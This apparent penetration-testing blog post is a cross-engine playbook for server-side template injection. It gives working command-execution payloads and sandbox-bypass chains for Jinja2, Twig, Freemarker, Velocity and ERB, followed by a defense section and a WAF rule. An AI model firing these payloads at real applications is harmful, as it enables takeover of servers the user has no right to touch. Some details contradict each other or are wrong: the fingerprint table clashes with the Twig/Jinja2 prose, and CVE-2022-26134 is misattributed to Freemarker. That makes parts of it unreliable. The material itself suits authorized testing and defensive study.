Server-Side Template Injection — from leak to RCE across five engines
A working playbook for SSTI in 2026 — engine fingerprinting, sandbox escapes, and the chains that get from {{7*7}} to a shell on Jinja2, Twig, Freemarker, Velocity, and ERB.
Scope. Authorized engagements only. Every payload here was developed and validated against lab environments I built or had explicit permission to test.
The {{7*7}} → 49 discovery is the easy half of an SSTI engagement. The
hard half is going from “I can render arbitrary template syntax” to “I have
RCE on the application server” — across whichever template engine the app
happens to use. Modern engines ship with sandboxing, autoescape defaults,
class-attribute filters, and runtime restrictions specifically designed to
break the textbook payloads. The 2017 PortSwigger SSTI payloads still work
in some places, fail in others, and the failure modes are confusing if you
don’t know what’s stopping them.
This post is the modern, cross-engine playbook. Five engines, five chains, and the engine-specific defense layers each one ships in 2026.
Quick recap — what SSTI is, and isn’t
The bug class is: untrusted input is concatenated into a template and the template is then rendered, instead of being passed as a context variable. The classic vulnerable pattern in Python:
# vulnerable
return render_template_string("Hello " + name)
# safe — name is a context var, not part of the template
return render_template_string("Hello {{ n }}", n=name)
What’s distinctive about SSTI vs. plain XSS is that the rendering happens server-side, in a language with full access to the host’s runtime. The upper bound on impact is whatever the runtime exposes — which, in most template engines, is “everything.”
Step 0 — engine fingerprinting
Before any payload work, you need to know which engine you’re hitting. The public PortSwigger flowchart is fine but slow. The fast version:
- Submit
${7*7}and{{7*7}}simultaneously, in the same field. - Read the response.
| Response contains | Engine candidates |
|---|---|
49 (from {{7*7}}) |
Jinja2 / Django / Twig / Liquid |
49 (from ${7*7}) |
Freemarker / Velocity / Spring EL / Smarty |
7777777 (string repeat) |
Twig (Symfony) |
Both literal {{...}} and ${...} echoed |
Probably client-side template; check XSS path |
Then disambiguate within the candidate set:
- Jinja2 vs Django: try
{{ ''.__class__ }}. Jinja2 returns<class 'str'>, Django either returns nothing (autoescape) or errors with a template syntax exception that mentionsdjango.template. - Twig: try
{{ 7|abs }}— Twig hasabs, Liquid doesn’t, Jinja2 does. Then{{ 7*'7' }}— Twig returns49, Jinja2 returns'7777777'. - Freemarker vs Velocity: try
${"a"?upper_case}. Freemarker returnsA, Velocity errors with a parse failure.
Build a polyglot once and keep it as a header value:
{{7*'7'}}${7*'7'}<%= 7*7 %>#{7*7}@{7*7}
The response that comes back tells you the engine in one request.
Engine 1 — Jinja2 (Python)
The standard payload pattern walks the Python class hierarchy:
{{ ''.__class__.__mro__[1].__subclasses__() }}
This returns a list of every subclass of object reachable in the current
process. Among them, you find Popen, subprocess, _frozen_importlib,
or in older builds, <class 'warnings.catch_warnings'> which gives a path
to the os module via __init__.__globals__.
The 2026-canonical Jinja2 RCE chain, assuming no sandbox:
{{
cycler.__init__.__globals__.os.popen('id').read()
}}
cycler is a built-in Jinja2 helper exposed in most Flask templates. Its
__init__ lives in jinja2.utils, and __globals__ of any module-level
function gives access to that module’s os import — which Jinja2 imports
internally for path handling.
If cycler isn’t available (templates without Jinja2’s defaults), fall
back to the subclass walk:
{{ ''.__class__.__base__.__subclasses__() }}
Find an entry like <class 'subprocess.Popen'> at index N, then:
{{ ''.__class__.__base__.__subclasses__()[N]('id', shell=True, stdout=-1).communicate() }}
Jinja2 sandbox bypass
Modern Flask apps that use SandboxedEnvironment block __class__,
__mro__, __subclasses__, __globals__, and __init__ access. The 2024-era
bypass trick — using attr filter — was patched in Jinja2 3.1.x:
{# this used to work, doesn't anymore #}
{{ ''|attr('__class__') }}
The current sandbox-evasion family relies on string formatting and filter chaining:
{{ self|attr(["__","class__"]|join) }}
If attr is also blocked, fall back to environment-internal helpers via
the request object that Flask exposes by default:
{{ request.application.__self__._get_data_for_json.__globals__.json.JSONEncoder.default.__globals__.os.popen('id').read() }}
Long chain, but it doesn’t hit __class__ at any step — every attribute
is name-based access through Flask’s own internals. Practically, if the
sandbox is configured but you have access to request, you’re winning.
If neither request nor cycler is available, you’ve hit a true sandbox
and the path is no longer RCE — it’s information disclosure (read template
source, leak environment variables via accessible context vars).
Engine 2 — Twig (PHP / Symfony)
Twig is the engine I see most often in modern PHP CMS engagements (Drupal 9+, Symfony, Craft CMS). Twig’s sandbox is on by default in Drupal — and it’s good. Bypassing it requires very specific holes.
Unsandboxed Twig, the classic chain:
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
This works because Twig’s registerUndefinedFilterCallback accepts any
callable, and PHP treats string "exec" as a callable for the exec()
function. Calling getFilter("id") then triggers the undefined-filter path,
which calls exec("id").
Twig 3.x removed _self.env. Replacement:
{{ ['id', 0]|sort('system') }}
This uses Twig’s sort filter with a user-defined comparator — except
PHP allows any callable as the comparator. Pass 'system', and the
sort comparison ends up calling system('id').
Twig sandbox bypass
Drupal’s sandbox blocks the sort filter and _self. The 2024-era
bypass via the map filter and Symfony\Component\HttpFoundation\Request
class loading:
{{ {0:0}|reduce('system','id') }}
reduce accepts a callable. Same trick, different filter. If reduce
is blocked too, you’ve usually hit a real sandbox and the path is
information disclosure (e.g., reading user objects or admin emails out
of the template context).
Engine 3 — Freemarker (Java / FTL)
Freemarker is the dominant template engine in Java enterprise apps and
Confluence. The classic payload is the Execute instance trick:
<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}
?new() is Freemarker’s instance-construction syntax. The freemarker.template.utility.Execute
class executes the supplied command and returns stdout.
When Freemarker is configured with Configuration.setNewBuiltinClassResolver(SAFER_RESOLVER),
?new() blocks the Execute class explicitly. Bypass:
<#assign object = "freemarker.template.utility.ObjectConstructor"?new()>
${object("java.lang.ProcessBuilder", ["id"]).start()}
ObjectConstructor is sometimes whitelisted because it’s used for legitimate
templates that need to instantiate user classes. From there, ProcessBuilder
gives full RCE.
Freemarker confluence-specific notes
CVE-2022-26134 was Confluence’s variant of this. The fix was to switch to
UNRESTRICTED_RESOLVER-by-default-blocked. Modern Confluence still has the
attack surface but requires a path through a custom user-defined class_resolver,
which most installs don’t expose.
Engine 4 — Velocity (Java / VTL)
Apache Velocity uses ${...} and #set(...) directives. The classic chain:
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("exec",$e.getClass()).invoke($e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")
It’s verbose because Velocity has no ${'a'.class} shortcut — every step
is reflective. Cleaner using $class:
#set($s="")
#set($exec=$s.getClass().forName("java.lang.Runtime").getMethod("exec",$s.getClass()))
#set($rt=$s.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
$exec.invoke($rt,"id")
Velocity sandbox
SecureUberspector is Velocity’s built-in sandbox. It blocks reflection on
Class.getClassLoader, Class.forName, and Method.invoke. With Secure
Uberspector enabled, the reflective chain dies at step 2.
Bypass requires finding a non-reflective route, usually through whatever helper objects the app exposes in the Velocity context. This is app-specific — there’s no universal sandbox bypass. Look for any context object that exposes a method which internally does string-based class loading.
Engine 5 — ERB (Ruby / Rails)
ERB SSTI is rare because Rails apps usually render ERB on trusted developer templates, not user input. But it shows up in:
- Custom report-generation features that let users define email templates.
- Some lightweight Sinatra/Rack apps.
- Configuration management web UIs that compile ERB-driven config.
The payload:
<%= `id` %>
Backticks in ERB invoke the shell. Done. No sandbox bypass needed because ERB doesn’t have a sandbox in the standard library — Ruby projects that need to render untrusted templates typically use Liquid, not ERB.
If the app strips backticks but allows <%= evaluation, the alternate
chain:
<%= IO.popen("id").read %>
Or:
<%= system("id") %>
If the surrounding text uses <%== (HTML-safe ERB), it doesn’t change
anything — <%== only affects output escaping, not evaluation.
Cross-engine: detection that works
If you’re on the receiving side of one of these engagements, the layered defense:
- Don’t concatenate user input into templates. Pass it as a context variable. This is the primary fix — sandboxes are the second line.
- Use the strict sandbox configurations. Jinja2’s
SandboxedEnvironment, Drupal’s Twig sandbox, Freemarker’sSAFER_RESOLVER. Default configurations are not strict enough. - Lock the class resolver explicitly. In Java engines, register a class resolver that allowlists only the classes your templates need. This is verbose but it’s the difference between sandbox-bypass-via-known-CVE and sandbox-bypass-via-arbitrary-research.
- Monitor for SSTI fingerprinting at the WAF layer. The polyglot
{{7*7}}${7*7}is a strong signal even if individual templates allow it. If the same source IP submits this across multiple endpoints, it’s not a customer.
A WAF rule that catches the boring 90%
SecRule ARGS "@rx (?:\{\{.*?[*+\-/%].*?\}\}|\$\{.*?[*+\-/%].*?\})" \
"id:9001,phase:2,deny,status:403,msg:'SSTI fingerprint'"
This catches {{7*7}} and ${7*7} style tests. It will not catch
{{cycler|attr('__init__')|...}}, but most automated scanners give up after
the polyglot fingerprint fails — it raises the floor effectively.
Real-world patterns I’ve seen
Three patterns from recent engagements that don’t appear in the textbook SSTI guides:
-
Email-template-builder SSTI. App lets admin users define the HTML template for transactional emails. Devs assumed admin = trusted. Engagement scope included escalating from a low-privilege admin role to the app server. The template engine was Twig, the sandbox was off because “admins are trusted.” Path to RCE: 5 minutes.
-
PDF generation via Velocity. The PDF service rendered Velocity templates and piped them to
wkhtmltopdf. The Velocity context exposed an object with agetClass()method even thoughSecureUberspectorwas enabled — the developer had explicitly added it to a “convenience” wrapper. Path to RCE: a half-day of context-object exploration. -
Server-Side Includes mistaken for SSTI. App had Apache
Includesenabled and the input field rendered as<!--#exec cmd="id"-->. Looks like SSTI; isn’t. The fix isOptions -Includesat the Apache level, not template-engine sandboxing. Worth knowing because the symptoms are identical to SSTI.
Tooling
- Burp Suite Pro with the Hackvertor extension for polyglot encoding.
tplmap— automated SSTI detection and exploitation. Useful as a fingerprinter even when its exploitation modules don’t reach RCE.- Custom polyglot Burp Intruder list — the cross-engine fingerprint
payload, plus
${7*7}variants in URL-encoded and double-URL-encoded form. - A copy of each engine’s source code — Jinja2, Twig, Freemarker, Velocity. When you hit a sandbox you don’t recognize, read the sandbox code. The bypass is usually one method that wasn’t covered.
Further reading
- PortSwigger’s SSTI guide remains the best fingerprinting reference.
- HackTricks SSTI page has the largest payload corpus, organized by engine.
- The Jinja2
SandboxedEnvironmentsource is short — read it to know exactly which attributes are blocked. - Twig’s
Twig\Sandbox\SecurityPolicyfor the same in PHP. - Freemarker’s
TemplateClassResolverinterface — the sandbox layer that determines reachable classes.
The point. SSTI is not solved by “block
{{in user input.” It’s solved by treating user input as data, never as code, and double-checked by an explicit sandbox configuration. Both layers, every time.